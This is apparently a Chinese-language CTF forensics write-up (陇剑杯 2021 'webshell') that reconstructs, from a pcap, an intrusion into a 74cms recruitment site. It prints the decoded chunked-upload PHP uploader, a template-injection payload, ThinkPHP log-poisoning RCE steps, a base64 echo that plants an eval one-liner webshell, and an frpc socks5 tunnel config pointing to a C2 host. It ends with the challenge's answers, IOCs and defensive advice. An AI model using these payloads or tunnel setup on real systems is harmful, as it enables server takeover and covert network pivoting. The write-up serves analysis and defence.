从 pcap 还原一次完整的 getshell 与 frp 隧道植入
起因
手里有两个文件:
aaa(1MB):纯 ASCII、无换行的超长文本,打开头几 KB 就是aaa=%40ini_set(...),明显是 urlencoded 的 HTTP POST 请求体hack.pcap(21MB):1671 个包、约 9 分钟的抓包
直觉是”aaa 是个 webshell”——看下去才发现它只是冰山一角:aaa 是 webshell 上传 frpc 时的某一个 512000 字节分片,pcap 里才是完整的案发现场。
aaa 解码:一句话分片上传器
POST body 只有 3 个参数:
| 参数 | 内容 |
|---|---|
aaa | URL 编码的 PHP 一句话(分片上传器变种) |
j68071301598f | GC + base64 → /var/www/html/frpc(目标路径,2 字节随机前缀防特征) |
xa5d606e67883a | 1024000 个 hex 字符 = 512000 字节二进制分片 |
PHP 代码解码后:
@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;}function asoutput(){ $output=ob_get_contents();ob_end_clean(); echo "481db"."0d0758"; // 随机标记头 echo @asenc($output); echo "273f6"."e2ac1"; // 随机标记尾}ob_start();try{ $f = base64_decode(substr($_POST["j68071301598f"], 2)); $c = $_POST["xa5d606e67883a"]; $c = str_replace(["\r","\n"], "", $c); $buf = ""; for($i=0;$i<strlen($c);$i+=2) $buf .= urldecode("%".substr($c,$i,2)); // hex → bin echo @fwrite(fopen($f,"a"), $buf) ? "1" : "0"; // 追加写入}catch(Exception $e){echo "ERROR://".$e->getMessage();}asoutput(); die();典型蚁剑/冰蝎风格的 分片文件上传原语:标记头尾包裹输出、路径 base64 混淆、数据 hex 编码、fopen(...,"a") 追加。配合 pcap 里其他同样式的请求(取 cwd、列目录),确认是菜刀(Caidao)协议系的客户端。
pcap 还原的攻击链
目标是一套 骑士 CMS(QSCMS / 74cms) 招聘站,跑在 Docker 容器里(loopback 8081,容器 IP 172.17.0.2,主机名 766b512f452f,2021-08-07)。
| 时间 | 动作 |
|---|---|
| t≈0s | 正常浏览站点首页 |
| t≈11s | Members&a=login 用 test / Admin123!@# 登录(注册用户身份) |
| t=163~396s | 打 assign_resume_tpl 前台 RCE |
| t≈396s | 写入一句话马 /var/www/html/1.php(29 字节) |
| t=402s | GET /1.php → 200,确认存活 |
| t=421~424s | 菜刀连接:取 cwd、内核信息、列目录 |
| t=538s | 写入 frpc.ini(240 字节) |
| t=549~553s | 分 20 片上传 frpc(frp v2.2.1,Go 静态 ELF,9,973,760 字节),aaa 即其中一片 |
| t≈554s | 最后一次列目录确认 frpc 已就位 |
RCE 细节:ThinkPHP 日志文件当模板 include
assign_resume_tpl 的参数 tpl 可以指向任意文件路径,配合 variable=1 走模板渲染分支。攻击者前两次尝试的是经典模板注入 payload:
variable=1&tpl=<?php eval($_REQUEST[a]);phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>随后换成了更稳的 ThinkPHP 日志投毒:把 tpl 指向运行时日志 data/Runtime/Logs/Home/21_08_07.log,再用 aaa=system('...') 参数执行命令——命令输出会回显在”模板不存在”错误页里:
ERR: 模板不存在:./Application/Home/View/default/www-data ← system('whoami')ERR: 模板不存在:./Application/Home/View/default/eth0 ... ← system('ifconfig')ERR: 模板不存在:./Application/Home/View/default//var/www/html ← system('pwd')侦察结果:www-data / 172.17.0.2 / /var/www/html。
最后一步落马:
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.phpbase64 解码即 <?php eval($_REQUEST[aaa]);?>(29 字节,与目录列表里 1.php 的 size 吻合)。
frpc.ini:socks5 隧道配置
[common]server_addr = 192.168.239.123server_port = 7778token=Xa3BJf2l5enmN6Z7A8mv
[test_sock5]type = tcpremote_port = 8111plugin = socks5plugin_user = 0HDFt16cLQJplugin_passwd = JTN276Gpuse_encryption = trueuse_compression = true攻击者在受害者容器里植入 frp client,向 C2 192.168.239.123:7778 建立加密隧道,在远端开放 8111 端口 socks5 代理(凭据 0HDFt16cLQJ / JTN276Gp),用受害主机当跳板做内网漫游。
题目原问与答案([陇剑杯 2021]webshell)
单位网站被黑客挂马,请您从流量中分析出 webshell,进行回答:
- 黑客登录系统使用的密码是:
Admin123!@#(POST /index.php?m=Home&c=Members&a=login,body:username=test&password=Admin123!@#&expire=0) - 黑客修改了一个日志文件,文件的绝对路径为:
/var/www/html/data/Runtime/Logs/Home/21_08_07.log(tpl 参数传的是相对路径data/Runtime/Logs/Home/21_08_07.log,webroot 为/var/www/html,提交时要补全绝对路径——这是本题最常见的丢分点) - 黑客获取 webshell 之后的权限是:
www-data(system('whoami')回显在”模板不存在”错误页里) - 黑客写入的 webshell 文件名是:
1.php(/var/www/html/1.php,29 字节,内容<?php eval($_REQUEST[aaa]);?>) - 黑客上传的代理工具客户端名字是:
frpc(frp v2.2.1,Go 静态 ELF,9,973,760 字节,分 20 片上传) - 黑客代理工具的回连服务端 IP 是:
192.168.239.123(frpc.ini 的server_addr,端口 7778) - 黑客 socks5 的连接账号、密码是:
0HDFt16cLQJ#JTN276Gp(frpc.ini 的plugin_user/plugin_passwd,中间用 # 隔开)
IOC 汇总
- 漏洞点:骑士CMS
assign_resume_tpl前台 RCE(模板路径可控 + 日志投毒) - Webshell:
/var/www/html/1.php=<?php eval($_REQUEST[aaa]);?> - 落地文件:
/var/www/html/frpc(frp v2.2.1, Go 静态 ELF, 9973760B)、/var/www/html/frpc.ini - C2:
192.168.239.123:7778(frps),tokenXa3BJf2l5enmN6Z7A8mv - socks5:remote_port
8111,user0HDFt16cLQJ/ passJTN276Gp - 登录凭据:
test / Admin123!@#
防御建议
- 升级/修补骑士CMS
assign_resume_tpl等前台模板相关接口,禁用模板路径参数化 - ThinkPHP 运行日志目录(
data/Runtime/Logs/)禁止被当模板渲染——框架层限制display()只接受白名单目录 - 监控 Web 目录下可疑新增文件(
1.php这种一句话、frpc这种二进制、*.ini隧道配置) - 出站连接白名单,重点告警到非常见端口(7778)的 frp 类隧道流量
- 容器最小权限 + 运行时文件完整性监控,防分片上传类 webshell 持续写入